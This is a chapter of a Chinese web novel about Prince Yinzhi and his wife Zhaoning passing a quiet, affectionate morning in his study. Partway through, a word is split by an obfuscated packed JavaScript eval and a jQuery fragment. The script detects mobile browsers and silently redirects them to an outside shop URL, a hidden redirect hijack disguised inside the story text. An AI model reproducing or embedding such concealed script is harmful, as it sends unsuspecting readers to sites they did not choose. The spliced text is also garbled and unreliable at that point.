回门之后的日子，慢得像糖浆从勺子上往下淌，黏稠稠的，甜丝丝的，滴进嘴里半天化不开。
胤祉醒的时候，天已经大亮了。
他偏过头，看见昭宁还在睡，被子又蹬到腰下面去了，一条腿伸在外头，另一条腿蜷着，整个人像只翻了壳的螃蟹。头发散在枕头上，乱得不成样子，几缕黏在嘴角，脸上还压出了枕头褶子的红印。她睡着的时候一点儿都不老实，隔一会儿翻个身，隔一会儿又把胳膊伸出来，像在跟什么人打架。但她的呼吸声很轻，很稳，带着一种没心没肺的安详。
胤祉看了她一会儿，伸手把被子往上拉了拉，盖住她露出来的肩膀。指尖碰到她的皮肤，凉丝丝的，像摸了块玉。
他放下手，刚准备起身，衣角被拽住了。
低头一看，昭宁的手不知道什么时候伸过来的，攥着他的袍子边儿，攥得死紧。她没睁眼，嘴里含糊地嘟囔了一句什么，听不清，像是在说梦话。他轻轻扯了一下衣角，没扯动。
“昭宁。”
她翻了个身，把脸埋进枕头里，留给他一个后脑勺，手倒是松了。胤祉得了自由，坐起来穿好衣裳，下了床。他回头看了一下，她已经把被子裹成了一条长卷，整个人像个蚕蛹一样缩在里面，只露出几缕头发。
他摇着头笑了笑，推门出去了。
廊下，小路子已经端了早饭来。小米粥、花卷、酱黄瓜、卤蛋，还有一小碟腌萝卜，冒着热气。看见胤祉出来，小路子迎上来：“三阿哥，福晋还没起？”
“没起。”胤祉往屋里看了一眼，“把粥放桌上盖着，别凉了，等她醒了再热。”
小路子端着早饭进去了。胤祉站在廊下，伸了个懒腰。四月的早晨还带点凉意，风吹在脸上软软的，混着青草和泥土的气息。院子里的枣树苗又蹿高了一截，叶子绿得发亮，在晨光里轻轻晃。老槐树的枝头冒出了密密麻麻的嫩芽，浅绿浅绿的，像铺了一层薄雾。
胤祉走到枣树苗旁边蹲下来，看了看土，有点干了。他提起旁边的小水壶，慢悠悠地浇了一圈水，水渗进土里，发出细微的滋滋声。他蹲在那儿，没急着起来。
身后传来脚步声，小路子从屋里出来了，手里端着空碗碟，脸上带着一种憋着笑的表情。
“醒了？”胤祉回头问。
“醒了，正喝粥呢。”小路子说，“就是不太高兴。”
“怎么了？”
“嫌奴才吵她睡觉了。”
胤祉笑了，拍了拍手上的土，站起来进了屋。
昭宁已经坐起来了，盘腿坐在床上，被子还裹在身上，像一件特大号的外套。她正捧着那碗粥，小口小口地喝，眼睛还没完全睁开，迷迷糊糊的，像只没睡醒的猫。头发乱得像鸡窝，几缕翘着，一撮竖在头顶，一撮挂在耳朵边上。
看见胤祉进来，她含着一口粥含混地说了句：“你起了？”
“起了，还浇了花。”
“什么花？”
“枣树。”
“那不算花。”昭宁又喝了一口，“等它开花了才算。”
“那它什么时候开花？”
“再等几年吧。”昭宁低头看了看碗里的粥，“你种它的时候就没想过它开不开花？”
“想那么远干嘛。”
“那就是你傻。”昭宁说完，继续低头喝粥，呼噜呼噜的，一点儿都不斯文。嘴角沾了一点米汤，她自己也没觉得。
胤祉在旁边坐下，看着她喝。她喝完了，把碗往桌上一搁，抹了抹嘴，拍了拍手，长长地呼了一口气：“饱了。”
“嘴角有米汤。”
“哪儿？”
胤祉伸手，用拇指轻轻擦过她嘴角。昭宁愣了一下，然后脸慢慢红了，但嘴上不饶人：“你手干不干净？”
“刚浇过水。”
昭宁瞪了他一眼，然后笑了。那笑像扔了颗石子进水里，一圈一圈地漾开，从眉眼蔓延到嘴角，藏都藏不住。她抬手自己又擦了擦嘴角，虽然那里什么都没了。
“三爷，今天做什么？”
“你想做什么？”
“我想——”她歪着脑袋想了想，“我想去你书房看看。”
“我书房有什么好看的？”
“我就想看看你平时写字的地方。”
胤祉想了想，站起来：“走吧。”
书房在正房旁边，一间不大的屋子，朝南，窗子开着半扇，风把窗纸吹得微微鼓起来。屋里一张书案，一张椅子，靠墙一排书架，书架上满满当当塞着书，有新的有旧的，边角磨损的不少。墙上没有挂画，干干净净的，只贴着两张纸——一张是白纸，还空着；另一张上写着四个字，墨色淡淡，像是写了很久的：“一念安常。”
书案上笔墨纸砚摆得整整齐齐，砚台里的墨已经干了，结了一层薄薄的硬壳。旁边放着一个青瓷笔洗，里头泡着两支笔。最显眼的是左边那个紫檀木匣子，正端端正正地摆在桌角，和砚台对得齐齐的。
昭宁走过去，先看了看墙上那四个字：“一念安常。”她念了一遍，偏头问：“这是你写的？”
“嗯。好几年了。”
“一念安常。”她又念了一遍，“是说心安了就安稳了？”
“差不多。”
昭宁没再问，目光从墙上移开，落在书案上。她伸手摸了摸那个紫檀木匣子，指腹顺着木纹滑过，触感温润细腻。
“这是什么？”
“你的信。”
“什么？”
“你写给我的那些信。”胤祉走过去，打开匣子盖，“都在这儿。从第一封到最后一封，一封不落。”
昭宁低头看着匣子里整整齐齐码着的信纸，边角有的卷了，纸面有的泛黄了，但每一封都叠得平平整整的。她伸手拿起最上面那一张，展开。是她写的第一封信，画的麦苗和马，旁边歪歪扭扭一行字：“三爷，早点回来。”
她看了看那幅画，笑了一下：“这马我画得真丑。”
“还行。看得出来是马。”
“你怎么看出来的？”
“有腿。”
昭宁把信纸轻轻放回去，合上匣子，没再动。她在书案前的椅子上坐下来，转了转圈，抬头看着胤祉：“三爷，你平时坐这儿写字？”
“嗯。”
“那我以后也能坐这儿吗？”
“你想坐就坐。”
昭宁在椅子上坐了一会儿，觉得硬邦邦的，硌屁股。她站起来，拍了拍裙子：“三爷，你这椅子不好坐。”
“那换一把？”
“不用。你给我垫个垫子就行。”她说着，已经自顾自地在屋里转了起来，“你这儿太素了，墙上空荡荡的，至少挂一幅画吧。回头我画一幅给你挂上。”
“你画画行吗？”
“怎么不行？我画了那么多年的柿子树，早就练出来了。”昭宁走到书架前，踮起脚尖看了看最上面那层，“三爷，这些书你都读过吗？”
“大部分读过。有些翻过几页，没读完。”
“那你怎么不放整齐点？你看这排，书脊有的朝外有的朝里，乱糟糟的。”她说着，已经伸手去抽了一本书出来，翻了翻，又塞回去，塞的时候方向是反的。
“你放反了。”胤祉说。
“反了就反了，反正你也不看这排。”她说着又抽了一本，这回是朝外的，她看了看封皮，“《水经注》？你读这个干嘛？”
“去直隶的时候用得上。”
“那你看完了吗？”
“看了一半。”
“那另一半呢？”
“还没看。”
昭宁把书放回去，这回倒是放正了。她转过身，拍了拍手上的灰：“三爷，你这书房缺个管事的。以后我帮你收拾吧。”
“你收拾？”胤祉看了她一眼，嘴角微微一抽。
“怎么？你不信？”
“我信。但你别把我书弄没了。”
“弄没了我给你找回来。”昭宁说完，已经走到窗台前面，拿起上面那盆兰花的叶子揪了揪，叶子被她一揪，晃了两下，“这兰花多久没浇水了？”
“昨天浇的。”
“那我再浇点。”她说着，端起旁边杯子里的剩水就要往里倒。
“别倒！”胤祉走过去，把杯子从她手里拿过来，“那是隔夜茶，浇了花就死了。”
昭宁手悬在半空，看了看杯子，又看了看兰花，老实了。
“行，听你的。”
她把剩下的半杯茶自己喝了，喝完把杯子放回桌上，抹了抹嘴，转头又看了一圈书房。
“三爷，你这儿真不像个皇子的书房。”
“那像什么？”
“像个教书先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637632|203971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生的。”昭宁说，“比我阿玛的书房还素。我阿玛墙上好歹还挂了两把弓箭呢。”
“我书房挂弓箭做什么？”
“不挂弓箭，挂一幅字也行。”昭宁想了想，“回头我给你写一幅。”
“你写什么？”
“写——”她歪着脑袋想了半天，“写‘三爷最好’。”
“那不成体统。”
“那写‘平安喜乐’？”
“这个行。”
昭宁笑了，走过来挽住他的胳膊：“三爷，我饿了。”
“你刚吃了早饭。”
“又饿了。”
“那你想吃什么？”
“我想吃御膳房的桂花糕。”
“不是刚吃过吗？”
“那不一样。”昭宁说，“那是早上的桂花糕，我现在想吃中午的桂花糕。”
胤祉看着她，没忍住笑了出来：“桂花糕还分早晚？”
“分。早上的凉，中午的热。我想吃热的。”
胤祉叹了口气：“走，去御膳房。”
“你别去。”昭宁松开他的胳膊，“你在家等着，我自己去。”
“你一个人去御膳房？”
“我又不是不认得路。”昭宁说着已经往门口走了，走出两步又回过头，“三爷，你给我画个地图，我怕走错。”
胤祉在书案前坐下来，拿起笔。昭宁站在旁边看着他画，他画得慢，一笔一划，连哪棵槐树在哪个拐角都标上了。昭宁看着看着，忽然凑近了一点，把下巴搁在他肩膀上。
“三爷，你画得还挺仔细。”
她的气息扑在他耳侧，温温热热的，胤祉手没停，但笔尖顿了一下。
“怕你走丢。”
“走丢了你来找我不就行了。”
胤祉没说话，把画好的地图递给她。昭宁接过去看了一眼，折好塞进袖子里，拍了拍他的肩膀：“三爷，等我回来。”说完就跑了，脚步声在廊下噼里啪啦地远去。
胤祉坐在书案前，看着门口她消失的方向，然后又低头看了看桌上的紫檀木匣子。他伸手打开匣盖，最上面那封信还在，那棵麦苗和马还歪歪扭扭地待在那里。
他轻轻合上盖子。
窗外传来枣树苗叶子在风里的沙沙声，比刚才响了一些，大概是起了点风。他靠着椅背，听着那声音，等着她回来。
过了不到半个时辰，昭宁回来了，手里捧着一碟桂花糕，碟子边上还冒着热气，确实是刚出炉的。她跑得额头出了薄汗，几缕碎发贴在脸上，但笑得眼睛弯弯的。
“三爷，热的。”
她把碟子放在桌上，拿了一块递给他。胤祉接过来咬了一口，糕还是烫的，桂花的香气扑了满嘴。
“好吃吗？”
“好吃。”
昭宁自己也拿了一块，咬了一大口，一边嚼一边含含糊糊地说：“御膳房的师傅说，这糕是专给你做的，还问我‘福晋要不要再加一份’。”她又咬了一口，“我说要。”
胤祉看着她腮帮子鼓鼓的样子，又笑了一下。他自己也说不清为什么笑。
两个人把一碟桂花糕分完了。昭宁把碟子收走，又跑回来，在椅子上坐下。这回她没去看书，也没去摸墙上的字，就安安静静地坐在那儿，侧着脑袋看着他。
“怎么了？”胤祉问。
“没怎么。”昭宁说，“我就是看看你。”
“看我做什么？”
“看你好看。”
胤祉看了她一眼，没接话。但他嘴角是翘着的。
昭宁又把椅子往他那边挪了挪，两个人的胳膊挨着。她低头看着自己的手，又抬头看了看窗外，忽然说了一句：“三爷，我以前给你写信的时候，老想着一件事。”
“什么事？”
“我想，你要是能在我旁边就好了。不用说话，就在旁边就行。”
“现在不是在旁边吗？”
“嗯。”昭宁点了一下头，“现在在了。”
她说完也没再说话，就那么坐着，胳膊挨着他。胤祉也没动，由她靠着。风从窗外吹进来，吹得桌上那张“一念安常”的纸边儿微微卷起，又落下。
枣树苗的叶子在风里轻轻摇晃，阳光从枝丫间漏下来，碎碎地撒了一地。屋里有桂花的余香，也有墨水的味道。没有人说话，但谁也不觉得闷。